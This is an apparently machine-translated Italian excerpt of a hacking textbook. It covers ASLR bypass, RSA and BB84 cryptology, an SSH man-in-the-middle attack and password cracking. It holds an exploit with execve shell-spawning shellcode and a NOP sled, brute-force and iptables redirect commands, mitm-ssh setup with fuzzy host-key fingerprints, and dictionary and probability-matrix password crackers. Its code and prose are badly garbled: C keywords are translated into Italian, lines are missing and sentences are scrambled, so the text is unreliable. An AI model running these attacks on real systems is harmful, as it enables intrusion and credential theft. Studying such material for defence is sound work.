la randomizzazione cambia la posizione di ogni cosa nello stack, incluso
variabili ambientali.
Questo tipo di protezione può essere molto efficace per bloccare gli exploit da parte di
attaccante medio, ma non è sempre sufficiente per fermare un determinato hacker. Può
pensi a un modo per sfruttare con successo questo programma in queste condizioni?
380 0x600
Pagina 395
Usando la logica dell'istruzione if di BASH , possiamo fermare il nostro script di forzatura bruta
quando colpisce il bersaglio. Il blocco di istruzioni if è contenuto tra i file
parole chiave quindi e fi ; lo spazio vuoto nell'istruzione if è obbligatorio. Il
L' istruzione break dice allo script di uscire dal ciclo for .
Contromisure 381
Pagina 396
382 0x600
Pagina 397
Il punto di interruzione viene impostato nell'ultima istruzione di main . Questa istruzione ritorna
EIP all'indirizzo del mittente memorizzato nello stack. Quando un exploit sovrascrive il file
indirizzo di ritorno, questa è l'ultima istruzione in cui ha il programma originale
controllo. Diamo un'occhiata ai registri a questo punto del codice per una coppia
di diverse prove.
(gdb) esegui
Avvio del programma: / home / reader / booksrc / aslr_demo
il buffer è a 0xbfa131 a0
Contromisure 383
Pagina 398
Nonostante la randomizzazione tra le corse, nota quanto sia simile l'indirizzo
in ESP è all'indirizzo del buffer (mostrato in grassetto). Questo ha senso, da allora
il puntatore dello stack punta allo stack e il buffer è sullo stack. Il valore di ESP
e l'indirizzo del buffer vengono modificati dallo stesso valore casuale, perché
sono relativi l'uno all'altro.
Il comando stepi di GDB fa avanzare il programma in esecuzione da un singolo file
istruzione. Usando questo, possiamo controllare il valore di ESP dopo che l' istruzione ret ha
eseguito.
(gdb) esegui
Il programma in fase di debug è già stato avviato.
Iniziarlo dall'inizio? (y o n) y
Avvio del programma: / home / reader / booksrc / aslr_demo
il buffer è a 0xbfd1ccb0
Il passo singolo mostra che l' istruzione ret aumenta il valore di ESP di
4. Sottraendo il valore di ESP dall'indirizzo del buffer, troviamo che ESP
punta a 80 byte (o 20 parole) dall'inizio del buffer. Dal ritorno
l'offset dell'indirizzo era di 19 parole, questo significa che dopo l'ultima istruzione ret di main ,
ESP punta alla memoria dello stack trovata direttamente dopo l'indirizzo di ritorno. Questo sarebbe
sarebbe utile se ci fosse un modo per controllare EIP per andare dove invece sta puntando ESP.
384 0x600
Pagina 399
Pagina 400
find_jmpesp.c
int main ()
{
linuxgate_start lungo non firmato = 0xffffe000;
char * ptr = (char *) linuxgate_start;
int i;
Questa tecnica può essere utilizzata anche per sfruttare il programma notesearch, come
mostrato qui.
386 0x600
Pagina 401
matrix @ loki / hacking $ for i in `seq 1 50`; do ./notesearch $ (perl -e "print 'AAAA'x $ i"); Se [
$? == 139]; quindi echo "Prova $ i parole"; rompere; fi; fatto
[DEBUG] ha trovato una nota di 34 byte per l'ID utente 1000
[DEBUG] ha trovato una nota di 41 byte per l'ID utente 1000
[DEBUG] ha trovato una nota di 63 byte per l'ID utente 1000
------- [dati di fine nota] -------
La stima iniziale di 35 parole non era valida, poiché il programma continuava a bloccarsi
con l'exploit buffer leggermente più piccolo. Ma è nel campo giusto, quindi a
il tweak manuale (o un modo più accurato per calcolare l'offset) è tutto ciò che è
necessario.
Certo, rimbalzare su linux-gate è un trucco intelligente, ma funziona solo con i vecchi
Kernelnon
zione Linux. Di nuovo
si trova più nelsul LiveCD,
solito spaziocon Linux
degli 2.6.20, le utili istruzioni
indirizzi.
Contromisure 387
Pagina 402
NOME
execl, execlp, execle, execv, execvp - esegue un file
SINOSSI
#include <unistd.h>
DESCRIZIONE
La famiglia di funzioni exec () sostituisce il processo corrente
immagine con una nuova immagine di processo. Le funzioni descritte in questo
pagina di manuale sono front-end per la funzione execve (2). (Vedi il
388 0x600
Pagina 403
Sembra che qui potrebbe esserci un punto debole se il layout della memoria lo è
randomizzato solo quando viene avviato il processo. Testiamo questa ipotesi con a
pezzo di codice che stampa l'indirizzo di una variabile dello stack e quindi viene eseguito
aslr_demo utilizzando una funzione execl () .
aslr_execl.c
#include <stdio.h>
#include <unistd.h>
Contromisure 389
Pagina 404
Dal momento che probabilmente vorremo una slitta NOP piuttosto grande, nel seguito
sfruttare la slitta NOP e lo shellcode verrà messo dopo l'indirizzo di ritorno
sovrascrivi. Questo ci consente di iniettare la quantità di una slitta NOP necessaria. In questo
caso, un migliaio di byte o giù di lì dovrebbero essere sufficienti.
aslr_execl_exploit.c
#include <stdio.h>
#include <unistd.h>
#include <string.h>
char shellcode [] =
"\ x31 \ xc0 \ x31 \ xdb \ x31 \ xc9 \ x99 \ xb0 \ xa4 \ xcd \ x80 \ x6a \ x0b \ x58 \ x51 \ x68"
"\ x2f \ x2f \ x73 \ x68 \ x68 \ x2f \ x62 \ x69 \ x6e \ x89 \ xe3 \ x51 \ x89 \ xe2 \ x53 \ x89"
"\ xe1 \ xcd \ x80"; // Shellcode standard
390 0x600
Pagina 405
for (i = 0; i <90; i + = 4) // Riempi il buffer con l'indirizzo di ritorno.
* ((unsigned int *) (buffer + i)) = ret;
memset (buffer + 84, 0x90, 900); // Costruisci la slitta NOP.
memcpy (buffer + 900, shellcode, sizeof (shellcode));
Questo codice dovrebbe avere senso per te. Il valore 200 viene aggiunto al rendimento
indirizzo per saltare i primi 90 byte utilizzati per la sovrascrittura, quindi l'esecuzione arriva
da qualche parte nella slitta NOP.
Contromisure 391
Pagina 407
406
0x700 CRITOLOGIA
394 0x700
Pagina 409
Cryptology 395
Pagina 410
attraverso il filtro sbagliato, la sua polarizzazione verrà modificata in modo casuale. Questo
significa che qualsiasi tentativo di intercettazione di misurare la polarizzazione di a
photon ha buone possibilità di rimescolare i dati, rendendolo evidente
il canale non è sicuro.
Questi strani aspetti della meccanica quantistica furono messi a frutto da
Charles Bennett e Gilles Brassard nel primo e probabilmente il più noto
schema di distribuzione delle chiavi quantistiche, denominato BB84 . In primo luogo, il mittente e il destinatario
d'accordo sulla rappresentazione dei bit per le quattro polarizzazioni, in modo tale che ogni base
ha sia 1 che 0. In questo schema, 1 potrebbe essere rappresentato da entrambi verticali
polarizzazione dei fotoni e una delle polarizzazioni diagonali (positiva
45 gradi), mentre 0 potrebbe essere rappresentato dalla polarizzazione orizzontale e
l'altra polarizzazione diagonale (negativa 45 gradi). In questo modo, 1s e
Gli 0 possono esistere quando viene misurata la polarizzazione rettilinea e quando il
viene misurata la polarizzazione diagonale.
Quindi, il mittente invia un flusso di fotoni casuali, ciascuno proveniente da
una base scelta a caso (rettilinea o diagonale) e questi fotoni
vengono registrati. Quando il ricevitore riceve un fotone, sceglie anche a caso
per misurarlo in base rettilinea o diagonale e registra
il risultato. Ora, le due parti confrontano pubblicamente quale base hanno utilizzato
ogni fotone, e mantengono solo i dati corrispondenti ai fotoni che hanno
entrambi misurati utilizzando la stessa base. Questo non rivela i valori di bit di
fotoni, poiché ci sono sia 1 che 0 in ciascuna base. Questo costituisce la chiave
per il blocco unico.
Dal momento che un intercettatore finirebbe per cambiare la polarizzazione
di alcuni di questi fotoni e quindi rimescolano i dati, possono essere intercettazioni
rilevato calcolando il tasso di errore di alcuni sottoinsiemi casuali della chiave. Se
ci sono troppi errori, qualcuno probabilmente stava origliando e il file
la chiave dovrebbe essere gettata via. In caso contrario, la trasmissione dei dati chiave era sicura
e privato.
396 0x700
Pagina 411
per (i = 1 an) {
Fare qualcosa;
Fare un'altra cosa;
}
Fai un'ultima cosa;
Questo algoritmo esegue un ciclo n volte, ogni volta eseguendo due azioni, quindi
esegue un'ultima azione, quindi la complessità temporale per questo algoritmo sarebbe 2 n + 1.
Viene mostrato un algoritmo più complesso con un loop annidato aggiuntivo aggiunto
sotto, avrebbe una complessità temporale di n 2 + 2 n + 1, poiché la nuova azione è
eseguito n 2 volte.
per (x = 1 an) {
for (y = 1 an) {
Fai la nuova azione;
}
}
per (i = 1 an) {
Fare qualcosa;
Fare un'altra cosa;
}
Fai un'ultima cosa;
Ma questo livello di dettaglio per la complessità temporale è ancora troppo granulare. Per
esempio, al crescere di n , la differenza relativa tra 2 n + 5 e
2 n + 365 diventa sempre meno. Tuttavia, quando n diventa più grande, il relativo
la differenza tra 2 n 2 + 5 e 2 n + 5 diventa sempre più grande. Questo tipo
di tendenza generalizzata è ciò che è più importante per il tempo di esecuzione di un file
algoritmo.
Considera due algoritmi, uno con una complessità temporale di 2 n + 365 e
l'altro con 2 n 2 + 5. L' algoritmo 2 n 2 + 5 supererà il 2 n + 365
algoritmo su valori piccoli per n . Ma per n = 30, entrambi gli algoritmi funzionano
allo stesso modo, e per tutti gli n maggiori di 30, l' algoritmo 2 n + 365 avrà prestazioni migliori
l' algoritmo 2 n 2 + 5. Poiché ci sono solo 30 valori per n in cui il
L' algoritmo 2 n 2 + 5 funziona meglio, ma un numero infinito di valori per n
in cui l' algoritmo 2 n + 365 funziona meglio, l' algoritmo 2 n + 365 è
generalmente più efficiente.
Cryptology 397
Pagina 412
Le crittografie simmetriche sono sistemi crittografici che utilizzano la stessa chiave per crittografare e
decifrare i messaggi. Il processo di crittografia e decrittografia è generalmente più veloce
rispetto alla crittografia asimmetrica, ma la distribuzione delle chiavi può essere difficile.
Questi cifrari sono generalmente cifrati a blocchi o cifrari a flusso.
Un cifrario a blocchi opera su blocchi di dimensioni fisse, solitamente 64 o 128 bit. Il
lo stesso blocco di testo in chiaro verrà sempre crittografato nello stesso blocco di testo cifrato,
utilizzando la stessa chiave. DES, Blowfish e AES (Rijndael) sono tutti cifrari a blocchi.
I cifrari a flusso generano un flusso di bit pseudo-casuali, di solito uno dei due
bit o byte alla volta. Questo è chiamato keystream ed è XORed con l'estensione
testo in chiaro. Ciò è utile per crittografare flussi di dati continui. RC4 e
Gli LSFR sono esempi di popolari cifrari a flusso. RC4 sarà discusso in profondità
in "Crittografia wireless 802.11b" a pagina 433 .
DES e AES sono entrambi popolari cifrari a blocchi. Ci si pensa molto
la costruzione di codici a blocchi per renderli resistenti alle criptovalute note
attacchi analitici. Due concetti usati ripetutamente nei codici a blocchi sono la confusione
398 0x700
Pagina 413
L io = R io −1
R i = L i −1 ⊕ f ( R i −1 , K i )
DES utilizza 16 round di operazioni. Questo numero è stato scelto appositamente per
difendersi dalla crittoanalisi differenziale. L'unica vera debolezza conosciuta di DES è
la sua dimensione chiave. Poiché la chiave è di soli 56 bit, è possibile controllare l'intero spazio delle chiavi
in un completo attacco di forza bruta in poche settimane su hardware specializzato.
Triple-DES risolve questo problema utilizzando due chiavi DES concatenate
insieme per una dimensione chiave totale di 112 bit. La crittografia viene eseguita crittografando il file
blocco di testo normale con la prima chiave, quindi decrittografia con la seconda chiave e
quindi crittografando di nuovo con la prima chiave. La decrittografia viene eseguita in modo analogo, ma
con le operazioni di crittografia e decrittografia cambiate. La dimensione della chiave aggiunta
rende uno sforzo di forza bruta esponenzialmente più difficile.
La maggior parte dei codici a blocchi standard del settore sono resistenti a tutte le forme conosciute di
crittanalisi e le dimensioni delle chiavi sono generalmente troppo grandi per tentare un'esaustiva
attacco di forza bruta. Tuttavia, il calcolo quantistico fornisce alcune cose interessanti
possibilità, che sono generalmente sopravvalutate.
Cryptology 399
Pagina 414
Le crittografie asimmetriche utilizzano due chiavi: una chiave pubblica e una chiave privata. Il pubblico
la chiave è resa pubblica, mentre la chiave privata è mantenuta privata; da qui i nomi intelligenti.
Qualsiasi messaggio crittografato con la chiave pubblica può essere decrittografato solo con
la chiave privata. Ciò elimina il problema della distribuzione delle chiavi: le chiavi pubbliche lo sono
public e, utilizzando la chiave pubblica, un messaggio può essere crittografato per
chiave privata corrispondente. A differenza dei codici simmetrici, non è necessario un file
canale di comunicazione fuori banda per trasmettere la chiave segreta. Però,
I cifrari asimmetrici tendono ad essere un po 'più lenti di quelli simmetrici.
0x741 RSA
RSA è uno degli algoritmi asimmetrici più popolari. La sicurezza di RSA
si basa sulla difficoltà di factoring di grandi numeri. Primo, due numeri primi
vengono scelti, P e Q, e il loro prodotto, N, viene calcolato:
N=P·Q
E·D=S·φ(N)+1
400 0x700
Pagina 415
il massimo comune divisore (GCD) di due numeri. Il più grande dei due
numeri è diviso per il numero più piccolo, prestando attenzione solo al
resto. Quindi, il numero più piccolo viene diviso per il resto e
il processo viene ripetuto fino a quando il resto è zero. L'ultimo valore per il
resto prima che raggiunga lo zero è il massimo comune divisore dei due
numeri originali. Questo algoritmo è abbastanza veloce, con un tempo di esecuzione di O (log 10 N ).
Ciò significa che per trovare la risposta dovrebbero essere necessari tanti passaggi quanti
il numero di cifre nel numero più grande.
Nella tabella seguente, il MCD di 7253 e 120, scritto come gcd (7253, 120),
sarà calcolato. La tabella inizia mettendo i due numeri nelle colonne
A e B, con il numero più grande in colonna A. Quindi A è diviso per B , e
il resto viene messo nella colonna R. Nella riga successiva, il vecchio B diventa il
nuovo A , e il vecchio R diventa il nuovo B. R viene calcolato di nuovo, e questo
il processo viene ripetuto fino a quando il resto è zero. L'ultimo valore di R prima
zero è il massimo comune divisore.
UN B R
7253 120 53
120 53 14
53 14 11
14 11 3
11 3 2
3 2 1
2 1 0
J·A+K·B=R
quando gcd ( A , B ) = R .
Questo viene fatto lavorando l'algoritmo euclideo all'indietro. In questo caso,
tuttavia, i quozienti sono importanti. Ecco la matematica del priore
esempio, con i quozienti:
7253 = 60,120 + 53
120 = 2 · 53 + 14
53 = 3 · 14 + 11
14 = 1 · 11 + 3
11 =3·3+2
3 =1·2+1
Cryptology 401
Pagina 416
Con un po 'di algebra di base, i termini possono essere spostati per ciascuno
in modo che il resto (mostrato in grassetto) sia da solo a sinistra del segno di uguale:
53 = 7253 - 60 · 120
14 = 120-2 · 53
11 = 53 - 3 · 14
3 = 14 - 1 · 11
2 = 11 - 3 · 3
1=3-1·2
1=3-1·2
1 = 3 - 1 · (11 - 3 · 3)
1 = 4 · 3 - 1 · 11
1 = 4 · (14 - 1 · 11) - 1 · 11
1 = 4 · 14 - 5 · 11
1 = 4 · 14 - 5 · (53 - 3 · 14)
1 = 19 · 14 - 5 · 53
1 = 19 · (120 - 2 · 53) - 5 · 53
1 = 19,120 - 43,53
Infine, la riga superiore mostra che 53 = 7253 - 60 · 120, per una finale
sostituzione:
402 0x700
Pagina 417
I numeri nell'esempio precedente sono stati scelti in base alla loro rilevanza
RSA. Supponendo che i valori di P e Q siano 11 e 13, N sarebbe 143. Là-
avanti, φ ( N ) = 120 = (11 - 1) · (13 - 1). Poiché 7253 è relativamente primo a 120,
quel numero rende un ottimo rapporto qualità- E .
Se ricordi, l'obiettivo era trovare un valore per D che soddisfacesse quanto segue
equazione:
E·D=S·φ(N)+1
D·E+S·φ(N)=1
D · 7253 ± S · 120 = 1
E·D=S·φ(N)+1
Crittografia: C = M E (mod N )
Decrittazione: M = C D (mod N )
98 7253 = 76 (mod143)
Il testo cifrato sarebbe 76. Quindi, solo qualcuno che conosceva il valore per
D potrebbe decriptare il messaggio e recuperare il numero 98 dal numero 76,
come segue:
76 77 = 98 (mod143)
Cryptology 403
Pagina 418
Poiché tutto questo è fatto modulo N , è vero anche quanto segue, a causa del modo
la moltiplicazione funziona nell'aritmetica del modulo:
M φ( N) · M φ( N) = 1 · 1 (mod N )
M 2 · φ ( N ) = 1 (mod N )
Questo processo potrebbe essere ripetuto ancora e ancora S volte per produrre questo:
M S · φ ( N ) = 1 (mod N )
M S · φ ( N ) · M = 1 · M (mod N )
M S · φ ( N ) + 1 = M (mod N )
Questo è equivalente a:
ED
M = M (mod N )
ME = C (mod N )
CD = M (mod N )
404 0x700
Pagina 419
A R = 1 (mod N )
( A R / 2 ) 2 = 1 (mod N )
( A R / 2 ) 2 - 1 = 0 (mod N )
( A R / 2 - 1) · ( A R / 2 + 1) = 0 (mod N )
Cryptology 405
Pagina 420
Crittografato
Comunicazione
con la chiave 1
Attaccante Sistema A
Sembra
essere Sistema B
Sembra
essere Sistema A
Sistema B
406 0x700
Pagina 421
reader @ hacking: ~ $ sudo iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-ports 2222
lettore @ hacking: ~ $ sudo iptables -t nat -L
PREROUTING catena (accetto criteri)
destinazione prot opt sorgente destinazione
REDIRECT tcp - ovunque dovunque tcp dpt: porte di reindirizzamento ssh 2222
..
/ | \ SSH Man In The Middle [Basato su OpenSSH_3.9p1]
_ | _ Di CMN <cmn@darklab.org>
Itinerari:
Cryptology 407
Pagina 422
Opzioni:
-v - Output dettagliato
-n - Non tentare di risolvere i nomi host
-d - Debug, ripetere per aumentare la verbosità
-p porta - Porta su cui ascoltare le connessioni
-f configfile - File di configurazione da leggere
Opzioni registro:
-c logdir - Registra i dati dal client nella directory
-s logdir - Registra i dati dal server nella directory
-o file - Registra le password nel file
jose @ loki: ~ $ ls -a
. .. .bash_logout .bash_profile .bashrc .bashrc.swp .profile Esempi
jose @ loki: ~ $ id
uid = 1001 (jose) gid = 1001 (jose) gruppi = 1001 (jose)
jose @ loki: ~ $ exit
disconnettersi
408 0x700
Pagina 423
iz @ tetsuo: ~ $
Cryptology 409
Pagina 424
410 0x700
Pagina 425
Cryptology 411
Pagina 426
viene chiesto di aggiungere la nuova impronta digitale. Il mitm-sshtool utilizza una configurazione
file simile a quello di openssh, poiché è costruito da quel codice. Aggiungendo la linea
a / usr / local / etc / mitm-ssh_config, il demone mitm-ssh lo farà
Protocollo 1
affermare che parla solo il protocollo SSH1.
L'output sotto mostra che il server SSH di loki di solito parla usando entrambi
Protocolli SSH1 e SSH2, ma quando mitm-ssh viene inserito nel mezzo usando il
nuovo file di configurazione, il falso server afferma di parlare solo del protocollo SSH1.
iz @ tetsuo: ~ $
Sulla macchina dell'attaccante, configurazione di mitm-ssh per utilizzare solo il protocollo SSH1
reader @ hacking: ~ $ echo "Protocol 1" >> / usr / local / etc / mitm-ssh_config
lettore @ hacking: ~ $ tail / usr / local / etc / mitm-ssh_config
# Dove memorizzare le password
#PasswdLogFile /var/log/mitm-ssh/passwd.log
Protocollo 1
lettore @ hacking: ~ $ mitm-ssh 192.168.42.72 -v -n -p 2222
Utilizzo della route statica per 192.168.42.72:22
Server SSH MITM in ascolto sulla porta 0.0.0.0 2222.
Generazione della chiave RSA a 768 bit.
Generazione della chiave RSA completata.
412 0x700
Pagina 427
Questo avviso modificato non è così forte come l'avviso fornito durante l'host
le impronte digitali dello stesso protocollo non corrispondono. Inoltre, poiché non tutti i client lo faranno
essere aggiornata, questa tecnica può ancora rivelarsi utile per un attacco MitM.
Cryptology 413
Pagina 428
essere un po 'confuso. L'obiettivo alla base della tecnica delle impronte digitali fuzzy è generare
una chiave host con un'impronta digitale abbastanza simile al dito originale-
stampa per ingannare l'occhio umano.
Il pacchetto openssh fornisce strumenti per recuperare la chiave host dai server.
Ora che il formato dell'impronta digitale della chiave host è noto per 192.168.42.72
(loki), è possibile generare impronte sfocate dall'aspetto simile. Un programma che
fa questo è stato sviluppato da Rieck ed è disponibile su http: //www.thc
.org / thc-ffp /. Il seguente output mostra la creazione di alcune dita sfocate
stampe per 192.168.42.72 (loki).
414 0x700
Pagina 429
--- [Fuzzy Map] ------------------------------------------- -----------------------
Lunghezza: 32
Tipo: distribuzione gaussiana inversa
Somma: 15020328
Mappa fuzzy: 10,83% | 9,64%: 8,52% | 7,47%: 6,49% | 5,58%: 4,74% | 3,96%:
3,25% | 2,62%: 2,05% | 1,55%: 1,12% | 0,76%: 0,47% | 0,24%:
0,09% | 0,01%: 0,00% | 0,06%: 0,19% | 0,38%: 0,65% | 0,99%:
1,39% | 1,87%: 2,41% | 3,03%: 3,71% | 4,46%: 5,29% | 6,18%:
.: [output tagliato] :.
Cryptology 415
Pagina 430
-------------------------------------------------- ------------------------------
Uscita e salvataggio del file di stato /var/tmp/ffp.state
lettore @ hacking: ~ $
Questo processo di generazione di impronte digitali sfocate può continuare per tutto il tempo desiderato.
Il programma tiene traccia di alcune delle migliori impronte digitali e le visualizzerà
periodicamente. Tutte le informazioni sullo stato sono memorizzate in /var/tmp/ffp.state, quindi il file
il programma può essere chiuso con un CTRL -C e quindi ripreso in seguito semplicemente
eseguire ffp senza argomenti.
Dopo aver eseguito per un po ', le coppie di chiavi host SSH possono essere estratte dal file
file di stato con l' opzione -e .
416 0x700
Pagina 431
1024 ba: 06: 7c: d2: 15: a2: d3: 0d: bf: f0: d4: 5d: c6: 10: 22: 90 /tmp/ssh-rsa04.pub
1024 ba: 06: 3f: 22: 1b: 44: 7b: db: 41: 27: 54: ac: 4a: 10: 29: e0 /tmp/ssh-rsa05.pub
1024 ba: 06: 78: dc: be: a6: 43: 15: eb: 3f: ac: 92: e5: 8e: c9: 50 /tmp/ssh-rsa06.pub
1024 ba: 06: 7f: da: ae: 61: 58: aa: eb: 55: d0: 0c: f6: 13: 61: 30 /tmp/ssh-rsa07.pub
1024 ba: 06: 7d: e8: 94: ad: eb: 95: d2: c5: 1e: 6d: 19: 53: 59: a0 /tmp/ssh-rsa08.pub
1024 ba: 06: 74: a2: c2: 8b: a4: 92: e1: e1: 75: f5: 19: 15: 60: a0 /tmp/ssh-rsa09.pub
lettore @ hacking: ~ $ ssh-keygen -l -f ./loki.hostkey
1024 ba: 06: 7f: d2: b9: 74: a8: 0a: 13: cb: a2: f7: e0: 10: 59: a0 192.168.42.72
lettore @ hacking: ~ $
reader @ hacking: ~ $ echo "HostKey / tmp / ssh-rsa02"> / usr / local / etc / mitm-ssh_config
reader @ hacking: ~ $ mitm-ssh 192.168.42.72 -v -n -p 2222 Uso della route statica per 192.168.42.72:22
Disabilitazione della versione del protocollo 1. Impossibile caricare la chiave host
Server SSH MITM in ascolto sulla porta 0.0.0.0 2222.
Connessione normale
Cryptology 417
Pagina 432
NOME
crypt: password e crittografia dei dati
SINOSSI
#define _XOPEN_SOURCE
#include <unistd.h>
DESCRIZIONE
crypt () è la funzione di crittografia della password. Si basa sui dati
Algoritmo standard di crittografia con variazioni previste (tra le altre
cose) per scoraggiare l'uso di implementazioni hardware di una chiave di ricerca.
Questa è una funzione hash unidirezionale che richiede una password in chiaro e un file
salt per l'input, quindi restituisce un hash con il valore salt anteposto
ad esso. Questo hash è matematicamente irreversibile, il che significa che è impossibile
determinare la password originale utilizzando solo l'hash. Scrivere un programma veloce
sperimentare con questa funzione aiuterà a chiarire qualsiasi confusione.
crypt_test.c
#define _XOPEN_SOURCE
#include <unistd.h>
#include <stdio.h>
Quando questo programma viene compilato, la libreria crypt deve essere collegata.
Ciò è mostrato nell'output seguente, insieme ad alcune esecuzioni di test.
418 0x700
Pagina 433
Cryptology 419
Pagina 434
crypt_crack.c
#define _XOPEN_SOURCE
#include <unistd.h>
#include <stdio.h>
strncpy (sale, argv [2], 2); // I primi 2 byte di hash sono il sale.
sale [2] = "\ 0"; // termina la stringa
while (fgets (word, 30, wordlist)! = NULL) {// Legge ogni parola
parola [strlen (parola) -1] = '\ 0'; // Rimuove il byte "\ n" alla fine.
hash = cripta (parola, sale); // Cancella la parola usando il sale.
printf ("cercando parola:% -30s ==>% 15s \ n", parola, cancelletto);
if (strcmp (hash, argv [2]) == 0) {// Se l'hash corrisponde
printf ("L'hash \"% s \ "proviene da", argv [2]);
printf ("password in chiaro \"% s \ ". \ n", parola);
fclose (elenco di parole);
uscita (0);
}
}
printf ("Impossibile trovare la password in chiaro nell'elenco di parole fornito. \ n");
fclose (elenco di parole);
}
Il seguente output mostra che questo programma viene utilizzato per decifrare il pass-
parola hash jeHEAX1m66RV. , usando le parole che si trovano in / usr / share / dict / words.
420 0x700
Pagina 435
.: [output tagliato] :.
.: [output tagliato] :.
Cryptology 421
Pagina 436
I file di dizionario personalizzato sono spesso realizzati utilizzando lingue diverse, standard
modifiche di parole (come trasformare lettere in numeri) o semplicemente
aggiungendo numeri alla fine di ogni parola. Mentre un dizionario più grande lo farà
restituire più password, richiederà anche più tempo per l'elaborazione.
John the Ripper versione 1.6 Copyright (c) 1996-98 di Solar Designer
422 0x700
Pagina 437
Pagina 438
possibili hash per una singola password in chiaro, che richiedono 4.096 diversi
tavoli. Ciò aumenta lo spazio di archiviazione necessario fino a circa 4,6 terabyte, che
dissuade molto un simile attacco.
424 0x700
Pagina 439
L'idea di base è dividere il testo in chiaro in due valori accoppiati che sono
enumerato lungo un vettore. Ogni possibile testo in chiaro viene trasformato in testo cifrato,
e il testo cifrato viene utilizzato per trovare la colonna appropriata della matrice.
Quindi viene ruotato il bit di enumerazione del testo in chiaro lungo la riga della matrice
sopra. Quando i valori del testo cifrato vengono ridotti in blocchi più piccoli, le collisioni
sono inevitabili.
! J) h je HEA 38vqlkkQ
Cryptology 425
Pagina 440
Ovviamente ci sono aspetti negativi. Innanzitutto, ci vuole almeno tanto tempo per creare il file
matrice come avrebbe preso l'attacco di forza bruta originale; tuttavia, questo è un file
costo una tantum. Inoltre, i sali tendono ancora a vietare qualsiasi tipo di attacco allo stoccaggio,
anche con i requisiti di spazio di archiviazione ridotti.
I seguenti due elenchi di codice sorgente possono essere utilizzati per creare una password
matrice di probabilità e crackare le password con essa. Il primo elenco genererà un file
matrice che può essere utilizzata per decifrare tutte le possibili password di quattro caratteri salate
con je . Il secondo elenco utilizzerà la matrice generata per eseguire effettivamente il file
cracking delle password.
ppm_gen.c
/ ************************************************* ******** \
* Matrice di probabilità della password * File: ppm_gen.c *
************************************************** *********
* *
* Autore: Jon Erickson <matrix@phiral.com> *
* Organizzazione: Phiral Research Laboratories *
* *
* Questo è il programma di generazione per la prova PPM di *
* concetto. Genera un file chiamato 4char.ppm, che *
* contiene informazioni riguardanti tutte le possibili 4- *
* password dei caratteri salate con "je". Questo file può *
* essere utilizzato per craccare rapidamente le password trovate all'interno di questo *
* keyspace con il corrispondente programma ppm_crack.c. *
* *
\ ************************************************* ******** /
#define _XOPEN_SOURCE
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
426 0x700
Pagina 441
/ * Genera un file di 4 caratteri.ppm con tutte le possibili password di 4 caratteri (salato con je). */
int main () {
char plain [5];
char * codice, * dati;
int i, j, k, l;
unsigned int charval, val;
FILE * handle;
if (! (handle = fopen ("4char.ppm", "w")))
barf ("Errore: impossibile aprire il file" 4char.ppm "in scrittura. \ n", NULL);
data = (char *) malloc (SIZE);
se (! (dati))
barf ("Errore: impossibile allocare memoria. \ n", NULL);
val = HEIGHT + enum_hashtriplet (code [4], code [5], code [6]); // byte 4-6
charval = (i-32) * 95 + (j-32); // Primi 2 byte di testo in chiaro
dati [(val * WIDTH) + (charval / 8)] | = (1 << (charval% 8));
val + = (ALTEZZA * 4);
charval = (k-32) * 95 + (l-32); // Ultimi 2 byte di testo in chiaro
dati [(val * WIDTH) + (charval / 8)] | = (1 << (charval% 8));
val = (2 * HEIGHT) + enum_hashtriplet (code [6], code [7], code [8]); // byte 6-8
charval = (i-32) * 95 + (j-32); // Primi 2 byte di testo in chiaro
dati [(val * WIDTH) + (charval / 8)] | = (1 << (charval% 8));
val + = (ALTEZZA * 4);
Cryptology 427
Pagina 442
val = (3 * HEIGHT) + enum_hashtriplet (code [8], code [9], code [10]); // byte 8-10
charval = (i-32) * 95 + (j-32); // Primi 2 caratteri in chiaro
dati [(val * WIDTH) + (charval / 8)] | = (1 << (charval% 8));
val + = (ALTEZZA * 4);
charval = (k-32) * 95 + (l-32); // Ultimi 2 byte di testo in chiaro
dati [(val * WIDTH) + (charval / 8)] | = (1 << (charval% 8));
}
}
}
}
printf ("finito .. salvataggio .. \ n");
fwrite (data, SIZE, 1, handle);
gratuito (dati);
fclose (maniglia);
}
La prima parte di codice, ppm_gen.c, può essere utilizzata per generare un quattro
matrice di probabilità della password dei caratteri, come mostrato nell'output di seguito. Il
L'opzione -O3 passata a GCC gli dice di ottimizzare il codice per la velocità quando lo fa
compila.
.: [output tagliato] :.
Aggiunta di ~ | ** a 4char.ppm ..
Aggiunta di ~} ** a 4char.ppm ..
Aggiunta di ~~ ** a 4char.ppm ..
finito .. salvataggio ..
@hacking: ~ $ ls -lh 4char.ppm
-rw-r - r-- 1 142M 2007-09-30 13:56 4char.ppm
lettore @ hacking: ~ / booksrc $
ppm_crack.c
/ ************************************************* ******** \
* Matrice di probabilità della password * File: ppm_crack.c *
************************************************** *********
* *
* Autore: Jon Erickson <matrix@phiral.com> *
* Organizzazione: Phiral Research Laboratories *
* *
428 0x700
Pagina 443
* Questo è il programma crack per il proof of concept PPM. *
* Utilizza un file esistente chiamato 4char.ppm, che *
* contiene informazioni riguardanti tutti i possibili 4– *
* password dei caratteri salate con "je". Questo file può *
* essere generato con il corrispondente programma ppm_gen.c. *
* *
\ ************************************************* ******** /
#define _XOPEN_SOURCE
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
Cryptology 429
Pagina 444
/ * Stampa le coppie di testo in chiaro che ogni bit ON nel vettore enumera. */
void print_vector (char * vector) {
int i, a, b, val;
for (i = 0; i <9025; i ++) {
if (get_vector_bit (vector, i) == 1) {// Se bit è attivo,
a = i / 95; // calcola il
b = i - (a * 95); // coppia di testo in chiaro
printf ("% c% c", a + 32, b + 32); // e stampalo.
}
}
printf ("\ n");
}
if (argc <1)
barf ("Utilizzo:% s <password hash> (userà il file 4char.ppm) \ n", argv [0]);
printf ("Filtraggio di possibili byte di testo normale per i primi due caratteri: \ n");
fseek (fd, (DCM * 0) + enum_hashtriplet (pass [2], pass [3], pass [4]) * WIDTH, SEEK_SET);
fread (bin_vector1, WIDTH, 1, fd); // Legge il vettore che associa i byte 2-4 di hash.
fseek (fd, (DCM * 1) + enum_hashtriplet (pass [4], pass [5], pass [6]) * WIDTH, SEEK_SET);
fread (temp_vector, WIDTH, 1, fd); // Legge il vettore che associa i byte 4-6 di hash.
merge (bin_vector1, temp_vector); // Uniscilo al primo vettore.
430 0x700
Pagina 445
fseek (fd, (DCM * 2) + enum_hashtriplet (pass [6], pass [7], pass [8]) * WIDTH, SEEK_SET);
fread (temp_vector, WIDTH, 1, fd); // Legge il vettore che associa i byte 6-8 di hash.
